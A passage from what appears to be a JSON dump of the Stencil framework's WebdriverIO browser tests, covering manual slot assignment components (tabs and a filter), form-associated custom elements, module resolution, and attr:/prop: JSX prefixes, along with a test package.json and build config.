    "content": "import { Fragment, h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\nimport { $, browser, expect } from '@wdio/globals';\n\ndescribe('manual-slot-assignment', () => {\n  describe('manual-slot-tabs', () => {\n    beforeEach(async () => {\n      render({\n        components: [],\n        template: () => (\n          <>\n            <manual-slot-tabs>\n              <div slot=\"tab-0\" data-testid=\"tab-0-content\">\n                <h2>Tab 1 Content</h2>\n                <p>This is the content for the first tab.</p>\n              </div>\n              <div slot=\"tab-1\" data-testid=\"tab-1-content\">\n                <h2>Tab 2 Content</h2>\n                <p>This is the content for the second tab.</p>\n              </div>\n              <div slot=\"tab-2\" data-testid=\"tab-2-content\">\n                <h2>Tab 3 Content</h2>\n                <p>This is the content for the third tab.</p>\n              </div>\n            </manual-slot-tabs>\n          </>\n        ),\n      });\n    });\n\n    it('should render with shadow DOM using manual slot assignment', async () => {\n      const cmp = $('manual-slot-tabs');\n      await cmp.waitForExist();\n\n      // Verify component has shadow root\n      const hasShadowRoot = await browser.execute(() => {\n        const el = document.querySelector('manual-slot-tabs');\n        return el.shadowRoot !== null;\n      });\n      expect(hasShadowRoot).toBe(true);\n\n      // Verify slot exists in shadow DOM\n      const slotExists = await browser.execute(() => {\n        const el = document.querySelector('manual-slot-tabs');\n        const slot = el.shadowRoot.querySelector('slot');\n        return slot !== null;\n      });\n      expect(slotExists).toBe(true);\n    });\n\n    it('should initially show tab 0 content', async () => {\n      await $('manual-slot-tabs').waitForExist();\n\n      // Check that tab-0 content is assigned to the slot\n      const assignedNodes = await browser.execute(() => {\n        const el = document.querySelector('manual-slot-tabs');\n        const slot = el.shadowRoot.querySelector('slot');\n        return slot.assignedElements().map((el) => el.getAttribute('data-testid'));\n      });\n\n      expect(assignedNodes).toEqual(['tab-0-content']);\n    });\n\n    it('should show only the active tab content when switching tabs', async () => {\n      await $('manual-slot-tabs').waitForExist();\n\n      // Get all tab buttons from shadow DOM\n      const buttons = await browser.execute(() => {\n        const el = document.querySelector('manual-slot-tabs');\n        return el.shadowRoot.querySelectorAll('.tabs button').length;\n      });\n      expect(buttons).toBe(3);\n\n      // Click second tab button\n      await browser.execute(() => {\n        const el = document.querySelector('manual-slot-tabs');\n        const buttons = el.shadowRoot.querySelectorAll('.tabs button');\n        (buttons[1] as HTMLButtonElement).click();\n      });\n\n      // Check that only tab-1 content is assigned\n      const assignedAfterClick = await browser.execute(() => {\n        const el = document.querySelector('manual-slot-tabs');\n        const slot = el.shadowRoot.querySelector('slot');\n        return slot.assignedElements().map((el) => el.getAttribute('data-testid'));\n      });\n      expect(assignedAfterClick).toEqual(['tab-1-content']);\n\n      // Click third tab button\n      await browser.execute(() => {\n        const el = document.querySelector('manual-slot-tabs');\n        const buttons = el.shadowRoot.querySelectorAll('.tabs button');\n        (buttons[2] as HTMLButtonElement).click();\n      });\n\n      // Check that only tab-2 content is assigned\n      const assignedAfterSecondClick = await browser.execute(() => {\n        const el = document.querySelector('manual-slot-tabs');\n        const slot = el.shadowRoot.querySelector('slot');\n        return slot.assignedElements().map((el) => el.getAttribute('data-testid'));\n      });\n      expect(assignedAfterSecondClick).toEqual(['tab-2-content']);\n    });\n\n    it('should update active button styling when switching tabs', async () => {\n      await $('manual-slot-tabs').waitForExist();\n\n      // Check initial active state\n      const initialActive = await browser.execute(() => {\n        const el = document.querySelector('manual-slot-tabs');\n        const buttons = el.shadowRoot.querySelectorAll('.tabs button');\n        return Array.from(buttons).map((btn) => btn.classList.contains('active'));\n      });\n      expect(initialActive).toEqual([true, false, false]);\n\n      // Click second tab\n      await browser.execute(() => {\n        const el = document.querySelector('manual-slot-tabs');\n        const buttons = el.shadowRoot.querySelectorAll('.tabs button');\n        (buttons[1] as HTMLButtonElement).click();\n      });\n\n      // Check active state after click\n      const activeAfterClick = await browser.execute(() => {\n        const el = document.querySelector('manual-slot-tabs');\n        const buttons = el.shadowRoot.querySelectorAll('.tabs button');\n        return Array.from(buttons).map((btn) => btn.classList.contains('active'));\n      });\n      expect(activeAfterClick).toEqual([false, true, false]);\n    });\n\n    it('should support programmatic tab switching via method', async () => {\n      await $('manual-slot-tabs').waitForExist();\n\n      // Use the setActiveTab method to switch to tab 2\n      await browser.execute(async () => {\n        const el = document.querySelector('manual-slot-tabs') as any;\n        await el.setActiveTab(2);\n      });\n\n      // Verify tab-2 is assigned\n      const assignedNodes = await browser.execute(() => {\n        const el = document.querySelector('manual-slot-tabs');\n        const slot = el.shadowRoot.querySelector('slot');\n        return slot.assignedElements().map((el) => el.getAttribute('data-testid'));\n      });\n      expect(assignedNodes).toEqual(['tab-2-content']);\n\n      // Verify button state\n      const activeStates = await browser.execute(() => {\n        const el = document.querySelector('manual-slot-tabs');\n        const buttons = el.shadowRoot.querySelectorAll('.tabs button');\n        return Array.from(buttons).map((btn) => btn.classList.contains('active'));\n      });\n      expect(activeStates).toEqual([false, false, true]);\n    });\n  });\n\n  describe('manual-slot-filter', () => {\n    beforeEach(async () => {\n      render({\n        components: [],\n        template: () => (\n          <>\n            <manual-slot-filter>\n              <div data-category=\"fruit\" data-testid=\"apple\">\n                Apple\n              </div>\n              <div data-category=\"fruit\" data-testid=\"banana\">\n                Banana\n              </div>\n              <div data-category=\"vegetable\" data-testid=\"carrot\">\n                Carrot\n              </div>\n              <div data-category=\"vegetable\" data-testid=\"broccoli\">\n                Broccoli\n              </div>\n              <div data-category=\"fruit\" data-testid=\"orange\">\n                Orange\n              </div>\n            </manual-slot-filter>\n          </>\n        ),\n      });\n    });\n\n    it('should render with shadow DOM using manual slot assignment', async () => {\n      const cmp = $('manual-slot-filter');\n      await cmp.waitForExist();\n\n      // Verify component has shadow root\n      const hasShadowRoot = await browser.execute(() => {\n        const el = document.querySelector('manual-slot-filter');\n        return el.shadowRoot !== null;\n      });\n      expect(hasShadowRoot).toBe(true);\n    });\n\n    it('should initially show all items', async () => {\n      await $('manual-slot-filter').waitForExist();\n\n      // Check that all items are assigned to the slot\n      const assignedNodes = await browser.execute(() => {\n        const el = document.querySelector('manual-slot-filter');\n        const slot = el.shadowRoot.querySelector('slot');\n        return slot.assignedElements().map((el) => el.getAttribute('data-testid'));\n      });\n\n      expect(assignedNodes).toEqual(['apple', 'banana', 'carrot', 'broccoli', 'orange']);\n    });\n\n    it('should filter to show only fruits', async () => {\n      await $('manual-slot-filter').waitForExist();\n\n      // Click the \"Fruits\" button\n      await browser.execute(() => {\n        const el = document.querySelector('manual-slot-filter');\n        const buttons = el.shadowRoot.querySelectorAll('.controls button');\n        (buttons[1] as HTMLButtonElement).click(); // Fruits button\n      });\n\n      // Check that only fruit items are assigned\n      const assignedNodes = await browser.execute(() => {\n        const el = document.querySelector('manual-slot-filter');\n        const slot = el.shadowRoot.querySelector('slot');\n        return slot.assignedElements().map((el) => el.getAttribute('data-testid'));\n      });\n\n      expect(assignedNodes).toEqual(['apple', 'banana', 'orange']);\n    });\n\n    it('should filter to show only vegetables', async () => {\n      await $('manual-slot-filter').waitForExist();\n\n      // Click the \"Vegetables\" button\n      await browser.execute(() => {\n        const el = document.querySelector('manual-slot-filter');\n        const buttons = el.shadowRoot.querySelectorAll('.controls button');\n        (buttons[2] as HTMLButtonElement).click(); // Vegetables button\n      });\n\n      // Check that only vegetable items are assigned\n      const assignedNodes = await browser.execute(() => {\n        const el = document.querySelector('manual-slot-filter');\n        const slot = el.shadowRoot.querySelector('slot');\n        return slot.assignedElements().map((el) => el.getAttribute('data-testid'));\n      });\n\n      expect(assignedNodes).toEqual(['carrot', 'broccoli']);\n    });\n\n    it('should switch back to showing all items', async () => {\n      await $('manual-slot-filter').waitForExist();\n\n      // Filter to fruits first\n      await browser.execute(() => {\n        const el = document.querySelector('manual-slot-filter');\n        const buttons = el.shadowRoot.querySelectorAll('.controls button');\n        (buttons[1] as HTMLButtonElement).click();\n      });\n\n      // Then click \"All\" button\n      await browser.execute(() => {\n        const el = document.querySelector('manual-slot-filter');\n        const buttons = el.shadowRoot.querySelectorAll('.controls button');\n        (buttons[0] as HTMLButtonElement).click();\n      });\n\n      // Check that all items are assigned again\n      const assignedNodes = await browser.execute(() => {\n        const el = document.querySelector('manual-slot-filter');\n        const slot = el.shadowRoot.querySelector('slot');\n        return slot.assignedElements().map((el) => el.getAttribute('data-testid'));\n      });\n\n      expect(assignedNodes).toEqual(['apple', 'banana', 'carrot', 'broccoli', 'orange']);\n    });\n\n    it('should update active button styling when filtering', async () => {\n      await $('manual-slot-filter').waitForExist();\n\n      // Check initial active state\n      const initialActive = await browser.execute(() => {\n        const el = document.querySelector('manual-slot-filter');\n        const buttons = el.shadowRoot.querySelectorAll('.controls button');\n        return Array.from(buttons).map((btn) => btn.classList.contains('active'));\n      });\n      expect(initialActive).toEqual([true, false, false]);\n\n      // Click Vegetables filter\n      await browser.execute(() => {\n        const el = document.querySelector('manual-slot-filter');\n        const buttons = el.shadowRoot.querySelectorAll('.controls button');\n        (buttons[2] as HTMLButtonElement).click();\n      });\n\n      // Check active state after click\n      const activeAfterClick = await browser.execute(() => {\n        const el = document.querySelector('manual-slot-filter');\n        const buttons = el.shadowRoot.querySelectorAll('.controls button');\n        return Array.from(buttons).map((btn) => btn.classList.contains('active'));\n      });\n      expect(activeAfterClick).toEqual([false, false, true]);\n    });\n\n    it('should support programmatic filtering via method', async () => {\n      await $('manual-slot-filter').waitForExist();\n\n      // Use the setFilter method\n      await browser.execute(async () => {\n        const el = document.querySelector('manual-slot-filter') as any;\n        await el.setFilter('fruit');\n      });\n\n      // Verify only fruits are assigned\n      const assignedNodes = await browser.execute(() => {\n        const el = document.querySelector('manual-slot-filter');\n        const slot = el.shadowRoot.querySelector('slot');\n        return slot.assignedElements().map((el) => el.getAttribute('data-testid'));\n      });\n      expect(assignedNodes).toEqual(['apple', 'banana', 'orange']);\n    });\n  });\n});\n"
  },
  {
    "path": "test/wdio/manual-slot-assignment/manual-slot-filter.tsx",
    "content": "import { Component, Element, h, Method, State } from '@stencil/core';\n\n/**\n * A filterable list that uses manual slot assignment to show/hide items\n * based on a filter criteria.\n */\n@Component({\n  tag: 'manual-slot-filter',\n  shadow: {\n    slotAssignment: 'manual',\n  },\n  styles: `\n    :host {\n      display: block;\n      padding: 16px;\n      border: 1px solid #ccc;\n      border-radius: 4px;\n    }\n\n    .controls {\n      margin-bottom: 16px;\n      display: flex;\n      gap: 8px;\n    }\n\n    button {\n      padding: 8px 16px;\n      border: 1px solid #0066cc;\n      background: white;\n      color: #0066cc;\n      border-radius: 4px;\n      cursor: pointer;\n      font-size: 14px;\n    }\n\n    button:hover {\n      background: #f0f7ff;\n    }\n\n    button.active {\n      background: #0066cc;\n      color: white;\n    }\n\n    .content {\n      border-top: 1px solid #eee;\n      padding-top: 16px;\n    }\n\n    slot {\n      display: block;\n    }\n  `,\n})\nexport class ManualSlotFilter {\n  @Element() el: HTMLElement;\n\n  @State() filter: string = 'all';\n\n  private contentSlot?: HTMLSlotElement;\n\n  componentDidLoad() {\n    this.updateSlotAssignment();\n  }\n\n  @Method()\n  async setFilter(filter: string) {\n    this.filter = filter;\n    this.updateSlotAssignment();\n  }\n\n  private updateSlotAssignment() {\n    if (!this.contentSlot) return;\n\n    const items = this.el.querySelectorAll('[data-category]');\n    const filtered = Array.from(items).filter((item) => {\n      if (this.filter === 'all') return true;\n      return item.getAttribute('data-category') === this.filter;\n    });\n\n    // Manually assign only filtered items to the slot\n    this.contentSlot.assign(...filtered);\n  }\n\n  private handleFilterClick(filter: string) {\n    this.setFilter(filter);\n  }\n\n  render() {\n    return [\n      <div class=\"controls\">\n        <button class={this.filter === 'all' ? 'active' : ''} onClick={() => this.handleFilterClick('all')}>\n          All\n        </button>\n        <button class={this.filter === 'fruit' ? 'active' : ''} onClick={() => this.handleFilterClick('fruit')}>\n          Fruits\n        </button>\n        <button class={this.filter === 'vegetable' ? 'active' : ''} onClick={() => this.handleFilterClick('vegetable')}>\n          Vegetables\n        </button>\n      </div>,\n      <div class=\"content\">\n        <slot ref={(el) => (this.contentSlot = el)}></slot>\n      </div>,\n    ];\n  }\n}\n"
  },
  {
    "path": "test/wdio/manual-slot-assignment/manual-slot-tabs.tsx",
    "content": "import { Component, Element, h, Method } from '@stencil/core';\n\n/**\n * A tabbed container that uses manual slot assignment to dynamically\n * assign tab content to the active slot based on user interaction.\n */\n@Component({\n  tag: 'manual-slot-tabs',\n  shadow: {\n    slotAssignment: 'manual',\n  },\n  styles: `\n    :host {\n      display: block;\n      border: 2px solid #333;\n      border-radius: 8px;\n      padding: 0;\n      font-family: system-ui, sans-serif;\n    }\n\n    .tabs {\n      display: flex;\n      gap: 0;\n      border-bottom: 2px solid #333;\n      background: #f0f0f0;\n    }\n\n    .tabs button {\n      flex: 1;\n      padding: 12px 20px;\n      border: none;\n      background: transparent;\n      cursor: pointer;\n      font-size: 16px;\n      font-weight: 500;\n      transition: background 0.2s;\n    }\n\n    .tabs button:hover {\n      background: #e0e0e0;\n    }\n\n    .tabs button.active {\n      background: white;\n      color: #0066cc;\n      border-bottom: 3px solid #0066cc;\n      margin-bottom: -2px;\n    }\n\n    .content {\n      padding: 20px;\n      min-height: 100px;\n    }\n\n    .content slot {\n      display: block;\n    }\n  `,\n})\nexport class ManualSlotTabs {\n  @Element() el: HTMLElement;\n\n  private activeSlot?: HTMLSlotElement;\n  private btns: HTMLButtonElement[] = [];\n  private activeTab: number = 0;\n\n  componentDidLoad() {\n    this.updateSlotAssignment();\n  }\n\n  @Method()\n  async setActiveTab(index: number) {\n    this.activeTab = index;\n    this.updateSlotAssignment();\n    this.btns.forEach((btn, i) => {\n      btn.classList.toggle('active', i === index);\n    });\n  }\n\n  private updateSlotAssignment() {\n    if (!this.activeSlot) return;\n\n    const tabs = this.el.querySelectorAll('[slot^=\"tab-\"]');\n    const activeTabElement = Array.from(tabs).find((tab) => tab.getAttribute('slot') === `tab-${this.activeTab}`);\n\n    // Manually assign only the active tab to the slot\n    if (activeTabElement) {\n      this.activeSlot.assign(activeTabElement);\n    } else {\n      this.activeSlot.assign();\n    }\n  }\n\n  private handleTabClick(index: number) {\n    this.setActiveTab(index);\n  }\n\n  render() {\n    return [\n      <div class=\"tabs\">\n        <button\n          ref={(el) => (this.btns[0] = el as HTMLButtonElement)}\n          class=\"active\"\n          onClick={() => this.handleTabClick(0)}\n        >\n          Tab 1\n        </button>\n        <button ref={(el) => (this.btns[1] = el as HTMLButtonElement)} onClick={() => this.handleTabClick(1)}>\n          Tab 2\n        </button>\n        <button ref={(el) => (this.btns[2] = el as HTMLButtonElement)} onClick={() => this.handleTabClick(2)}>\n          Tab 3\n        </button>\n      </div>,\n      <div class=\"content\">\n        <slot ref={(el) => (this.activeSlot = el)}></slot>\n      </div>,\n    ];\n  }\n}\n"
  },
  {
    "path": "test/wdio/no-external-runtime/components.d.ts",
    "content": "/* eslint-disable */\n/* tslint:disable */\n/**\n * This is an autogenerated file created by the Stencil compiler.\n * It contains typing information for all components that exist in this project.\n */\nimport { HTMLStencilElement, JSXBase } from \"@stencil/core/internal\";\nexport namespace Components {\n    interface CustomElementsFormAssociated {\n    }\n}\ndeclare global {\n    interface HTMLCustomElementsFormAssociatedElement extends Components.CustomElementsFormAssociated, HTMLStencilElement {\n    }\n    var HTMLCustomElementsFormAssociatedElement: {\n        prototype: HTMLCustomElementsFormAssociatedElement;\n        new (): HTMLCustomElementsFormAssociatedElement;\n    };\n    interface HTMLElementTagNameMap {\n        \"custom-elements-form-associated\": HTMLCustomElementsFormAssociatedElement;\n    }\n}\ndeclare namespace LocalJSX {\n    interface CustomElementsFormAssociated {\n        /**\n          * If `true`, the user cannot interact with the element.\n         */\n        \"disabled\"?: boolean;\n        /**\n          * The `id` of a `<form>` element to associate this element with.\n         */\n        \"form\"?: string;\n        /**\n          * The name of the element, used when submitting an HTML form.\n         */\n        \"name\"?: string;\n    }\n    interface IntrinsicElements {\n        \"custom-elements-form-associated\": CustomElementsFormAssociated;\n    }\n}\nexport { LocalJSX as JSX };\ndeclare module \"@stencil/core\" {\n    export namespace JSX {\n        interface IntrinsicElements {\n            \"custom-elements-form-associated\": LocalJSX.IntrinsicElements[\"custom-elements-form-associated\"] & JSXBase.HTMLAttributes<HTMLCustomElementsFormAssociatedElement>;\n        }\n    }\n}\n"
  },
  {
    "path": "test/wdio/no-external-runtime/custom-elements-form-associated/cmp.test.tsx",
    "content": "import { h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\n\nimport { defineCustomElement } from '../../test-components-no-external-runtime/custom-elements-form-associated.js';\n\ndescribe('custome elements form associated', function () {\n  beforeEach(() => {\n    defineCustomElement();\n    render({\n      template: () => (\n        <form>\n          <custom-elements-form-associated name=\"test-input\"></custom-elements-form-associated>\n          <input type=\"reset\" value=\"Reset\" />\n        </form>\n      ),\n    });\n  });\n\n  it('should render without errors', async () => {\n    const elm = $('custom-elements-form-associated');\n    await expect(elm).toBePresent();\n  });\n\n  describe('form associated custom element lifecycle callback', () => {\n    it('should trigger \"formAssociated\"', async () => {\n      const formEl = $('form');\n      await expect(formEl).toHaveProperty('ariaLabel', 'asdfasdf');\n    });\n\n    it('should trigger \"formResetCallback\"', async () => {\n      const resetBtn = $('input[type=\"reset\"]');\n      await resetBtn.click();\n\n      await resetBtn.waitForStable();\n\n      const formEl = $('form');\n      await expect(formEl).toHaveProperty('ariaLabel', 'formResetCallback called');\n    });\n\n    it('should trigger \"formDisabledCallback\"', async () => {\n      const elm = document.body.querySelector('custom-elements-form-associated');\n      const formEl = $('form');\n\n      elm.setAttribute('disabled', 'disabled');\n\n      await formEl.waitForStable();\n      await expect(formEl).toHaveProperty('ariaLabel', 'formDisabledCallback called with true');\n\n      elm.removeAttribute('disabled');\n      await formEl.waitForStable();\n      await expect(formEl).toHaveProperty('ariaLabel', 'formDisabledCallback called with false');\n    });\n  });\n\n  it('should link up to the surrounding form', async () => {\n    // this shows that the element has, through the `ElementInternals`\n    // interface, been able to set a value in the surrounding form\n    await browser.waitUntil(\n      async () => {\n        const formEl = document.body.querySelector('form');\n        expect(new FormData(formEl).get('test-input')).toBe('my default value');\n        return true;\n      },\n      { timeoutMsg: 'form associated value never changed' },\n    );\n  });\n});\n"
  },
  {
    "path": "test/wdio/no-external-runtime/custom-elements-form-associated/cmp.tsx",
    "content": "import { AttachInternals, Component, h } from '@stencil/core';\n\n@Component({\n  tag: 'custom-elements-form-associated',\n  formAssociated: true,\n  shadow: true,\n})\nexport class CustomElementsFormAssociated {\n  @AttachInternals() internals: ElementInternals;\n\n  componentWillLoad() {\n    this.internals.setFormValue('my default value');\n  }\n\n  formAssociatedCallback(form: HTMLCustomElementsFormAssociatedElement) {\n    form.ariaLabel = 'formAssociated called';\n    // this is a regression test for #5106 which ensures that `this` is\n    // resolved correctly\n    this.internals.setValidity({});\n  }\n\n  render() {\n    return <input type=\"text\" />;\n  }\n}\n"
  },
  {
    "path": "test/wdio/no-external-runtime.stencil.config.ts",
    "content": "import type { Config } from '../../internal/index.js';\n\nexport const config: Config = {\n  namespace: 'TestNoExternalRuntimeApp',\n  tsconfig: 'tsconfig-no-external-runtime.json',\n  outputTargets: [\n    {\n      type: 'dist-custom-elements',\n      dir: 'test-components-no-external-runtime',\n      externalRuntime: false,\n      includeGlobalScripts: false,\n    },\n  ],\n  srcDir: 'no-external-runtime',\n};\n"
  },
  {
    "path": "test/wdio/node-resolution/cmp-root.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\nimport { location as module } from './module.js';\nimport { location as moduleIndex } from './module/index.js';\n\n@Component({\n  tag: 'node-resolution',\n})\nexport class NodeResolution {\n  render() {\n    return (\n      <div>\n        <h1>node-resolution</h1>\n        <p id=\"module-index\">{moduleIndex}</p>\n        <p id=\"module\">{module}</p>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/node-resolution/cmp.test.tsx",
    "content": "import { h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\n\ndescribe('node-resolution', () => {\n  beforeEach(async () => {\n    render({\n      template: () => <node-resolution></node-resolution>,\n    });\n  });\n\n  it('should import from the right sources', async () => {\n    await expect($('#module-index')).toHaveText('module/index.js');\n    await expect($('#module')).toHaveText('module.js');\n  });\n});\n"
  },
  {
    "path": "test/wdio/node-resolution/module/index.ts",
    "content": "export const location = 'module/index.js';\n"
  },
  {
    "path": "test/wdio/node-resolution/module.ts",
    "content": "export const location = 'module.js';\n"
  },
  {
    "path": "test/wdio/package.json",
    "content": "{\n  \"private\": true,\n  \"type\": \"module\",\n  \"version\": \"0.0.0\",\n  \"scripts\": {\n    \"build\": \"run-s build.no-external-runtime build.test-sibling build.main build.global-script build.prerender build.invisible-prehydration build.es2022 build.auto-loader\",\n    \"build.main\": \"node ../../bin/stencil build --es5 && cp src/components.d.ts dist/components.d.ts\",\n    \"build.es2022\": \"node ../../bin/stencil build --config stencil.config-es2022.ts\",\n    \"build.global-script\": \"node ../../bin/stencil build --es5 --config global-script.stencil.config.ts\",\n    \"build.test-sibling\": \"cd test-sibling && npm run build\",\n    \"build.auto-loader\": \"node ../../bin/stencil build --config auto-loader.stencil.config.ts\",\n    \"build.prerender\": \"node ../../bin/stencil build --config prerender.stencil.config.ts --prerender && node ./test-prerender/prerender.js && node ./test-prerender/no-script-build.js\",\n    \"build.invisible-prehydration\": \"node ../../bin/stencil build --es5 --config invisible-prehydration.stencil.config.ts\",\n    \"build.no-external-runtime\": \"node ../../bin/stencil build --es5 --config no-external-runtime.stencil.config.ts\",\n    \"test\": \"run-s build wdio end-to-end\",\n    \"wdio\": \"wdio run ./wdio.conf.ts\",\n    \"end-to-end\": \"node ./test-end-to-end-import.mjs\"\n  },\n  \"devDependencies\": {\n    \"@stencil/core\": \"file:../..\",\n    \"@stencil/sass\": \"^3.0.12\",\n    \"@types/node\": \"^16.11.7\",\n    \"@wdio/browser-runner\": \"^9.6.0\",\n    \"@wdio/cli\": \"^9.6.0\",\n    \"@wdio/globals\": \"^9.6.0\",\n    \"@wdio/mocha-framework\": \"^9.5.0\",\n    \"@wdio/spec-reporter\": \"^9.5.0\",\n    \"@wdio/types\": \"^9.5.0\",\n    \"bootstrap\": \"^5.3.3\",\n    \"normalize.css\": \"^8.0.1\",\n    \"npm-run-all\": \"^4.1.5\",\n    \"test-sibling\": \"file:./test-sibling\",\n    \"ts-node\": \"^10.9.2\",\n    \"webdriverio\": \"^9.5.4\",\n    \"workbox-build\": \"^4.3.1\"\n  },\n  \"volta\": {\n    \"node\": \"22.13.0\",\n    \"npm\": \"8.19.4\"\n  }\n}\n"
  },
  {
    "path": "test/wdio/prefix-attr/cmp-nested.tsx",
    "content": "import { Component, h, Prop } from '@stencil/core';\n\n@Component({\n  tag: 'prefix-attr-nested',\n})\nexport class PrefixAttrNested {\n  @Prop() message?: string;\n  @Prop() count?: number;\n  @Prop() enabled?: boolean;\n  @Prop() nullValue?: string | null;\n  @Prop() undefinedValue?: string | undefined;\n\n  render() {\n    return (\n      <div class=\"nested-output\">\n        <div class=\"message\">{this.message}</div>\n        <div class=\"count\">{this.count}</div>\n        <div class=\"enabled\">{String(this.enabled)}</div>\n        <div class=\"null-value\">{String(this.nullValue)}</div>\n        <div class=\"undefined-value\">{String(this.undefinedValue)}</div>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/prefix-attr/cmp-root.tsx",
    "content": "import { Component, h, State } from '@stencil/core';\n\n@Component({\n  tag: 'prefix-attr-root',\n})\nexport class PrefixAttrRoot {\n  @State() message = 'Hello';\n  @State() count = 42;\n  @State() enabled = true;\n  @State() nullValue: string | null = 'not-null';\n  @State() undefinedValue: string | undefined = 'defined';\n\n  render() {\n    return (\n      <div>\n        <h3>Testing attr: prefix in JSX</h3>\n        {/* Using attr: prefix to explicitly set attributes on nested component */}\n        <prefix-attr-nested\n          attr:message={this.message}\n          attr:count={this.count}\n          attr:enabled={this.enabled}\n          attr:nullValue={this.nullValue}\n          attr:undefinedValue={this.undefinedValue}\n        ></prefix-attr-nested>\n        <button onClick={() => (this.message = 'Updated')}>Update Message</button>\n        <button onClick={() => (this.count = 99)}>Update Count</button>\n        <button onClick={() => (this.enabled = false)}>Disable</button>\n        <button onClick={() => (this.nullValue = null)}>Set Null to String</button>\n        <button onClick={() => (this.undefinedValue = undefined)}>Set Undefined to String</button>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/prefix-attr/cmp.test.tsx",
    "content": "import { h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\nimport { $, expect } from '@wdio/globals';\n\n// Verify attr: prefix in JSX correctly passes values as attributes to nested component\n\ndescribe('prefix-attr', () => {\n  before(async () => {\n    render({\n      components: [],\n      template: () => <prefix-attr-root></prefix-attr-root>,\n    });\n  });\n\n  it('should pass values from parent to nested component using attr: prefix', async () => {\n    const nested = await $('prefix-attr-nested');\n    await expect(nested).toHaveAttribute('message', 'Hello');\n    await expect(nested).toHaveAttribute('count', '42');\n    await expect(nested).toHaveAttribute('enabled');\n    await expect(nested).toHaveAttribute('null-value', 'not-null');\n    await expect(nested).toHaveAttribute('undefined-value', 'defined');\n  });\n\n  it('should update nested component when parent state changes', async () => {\n    const nested = await $('prefix-attr-nested');\n    const updateBtn = await $('button=Update Message');\n    await updateBtn.click();\n    await expect(nested).toHaveAttribute('message', 'Updated');\n\n    const countBtn = await $('button=Update Count');\n    await countBtn.click();\n    await expect(nested).toHaveAttribute('count', '99');\n\n    const disableBtn = await $('button=Disable');\n    await disableBtn.click();\n    await expect(nested).not.toHaveAttribute('enabled');\n\n    const setNullBtn = await $('button=Set Null to String');\n    await setNullBtn.click();\n    await expect(nested).not.toHaveAttribute('null-value');\n\n    const setUndefinedBtn = await $('button=Set Undefined to String');\n    await setUndefinedBtn.click();\n    await expect(nested).not.toHaveAttribute('undefined-value');\n  });\n});\n"
  },
  {
    "path": "test/wdio/prefix-prop/cmp-nested.tsx",
    "content": "import { Component, h, Prop } from '@stencil/core';\n\n@Component({\n  tag: 'prefix-prop-nested',\n})\nexport class PrefixPropNested {\n  @Prop() message?: string;\n  @Prop() count?: number;\n  @Prop() nullValue?: string | null;\n  @Prop() undefinedValue?: string | undefined;\n\n  render() {\n    return (\n      <div class=\"nested-output\">\n        <div class=\"message\">{this.message}</div>\n        <div class=\"count\">{this.count}</div>\n        <div class=\"null-value\">{String(this.nullValue)}</div>\n        <div class=\"undefined-value\">{String(this.undefinedValue)}</div>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/prefix-prop/cmp-root.tsx",
    "content": "import { Component, h, State } from '@stencil/core';\n\n@Component({\n  tag: 'prefix-prop-root',\n})\nexport class PrefixPropRoot {\n  @State() message = 'Hello';\n  @State() count = 42;\n  @State() nullValue: string | null = null;\n  @State() undefinedValue: string | undefined = undefined;\n\n  render() {\n    return (\n      <div>\n        <h3>Testing prop: prefix in JSX</h3>\n        {/* Using prop: prefix to explicitly set properties (not attributes) on nested component */}\n        <prefix-prop-nested\n          prop:message={this.message}\n          prop:count={this.count}\n          prop:nullValue={this.nullValue}\n          prop:undefinedValue={this.undefinedValue}\n        ></prefix-prop-nested>\n        <button onClick={() => (this.message = 'Updated')}>Update Message</button>\n        <button onClick={() => (this.count = 99)}>Update Count</button>\n        <button onClick={() => (this.nullValue = 'not-null')}>Set Null to String</button>\n        <button onClick={() => (this.undefinedValue = 'defined')}>Set Undefined to String</button>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/prefix-prop/cmp.test.tsx",
    "content": "import { h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\nimport { $, browser, expect } from '@wdio/globals';\n\ndescribe('prefix-prop', () => {\n  before(async () => {\n    render({\n      components: [],\n      template: () => <prefix-prop-root></prefix-prop-root>,\n    });\n  });\n\n  it('should pass values from parent to nested component using prop: prefix', async () => {\n    const nested = await $('prefix-prop-nested');\n    await nested.waitForExist();\n\n    const el = document.querySelector('prefix-prop-nested');\n    expect(el.message).toBe('Hello');\n    expect(el.count).toBe(42);\n    expect(el.nullValue).toBe(null);\n    expect(el.undefinedValue == null).toBe(true);\n\n    // Verify NO HTML attributes are set\n    await expect(nested).not.toHaveAttribute('message');\n    await expect(nested).not.toHaveAttribute('count');\n    await expect(nested).not.toHaveAttribute('nullValue');\n    await expect(nested).not.toHaveAttribute('undefinedValue');\n  });\n\n  it('should update nested component when parent state changes', async () => {\n    const nested = await $('prefix-prop-nested');\n    const el = document.querySelector('prefix-prop-nested');\n\n    const updateBtn = await $('button=Update Message');\n    await updateBtn.click();\n    await browser.pause(100);\n    expect(el.message).toBe('Updated');\n\n    const countBtn = await $('button=Update Count');\n    await countBtn.click();\n    await browser.pause(100);\n    expect(el.count).toBe(99);\n\n    // Still no attributes\n    await expect(nested).not.toHaveAttribute('message');\n    await expect(nested).not.toHaveAttribute('count');\n  });\n\n  it('should handle null and undefined values correctly', async () => {\n    await $('prefix-prop-nested');\n    const el = document.querySelector('prefix-prop-nested');\n    expect(el.nullValue).toBe(null);\n    // undefined becomes null in Stencil\n    expect(el.undefinedValue == null).toBe(true);\n\n    // When set to actual strings, they should update\n    const setNullBtn = await $('button=Set Null to String');\n    await setNullBtn.click();\n\n    await browser.pause(100);\n    expect(el.nullValue).toBe('not-null');\n\n    const setUndefinedBtn = await $('button=Set Undefined to String');\n    await setUndefinedBtn.click();\n\n    await browser.pause(100);\n    expect(el.undefinedValue).toBe('defined');\n  });\n});\n"
  },
  {
    "path": "test/wdio/prerender-test/cmp.test.tsx",
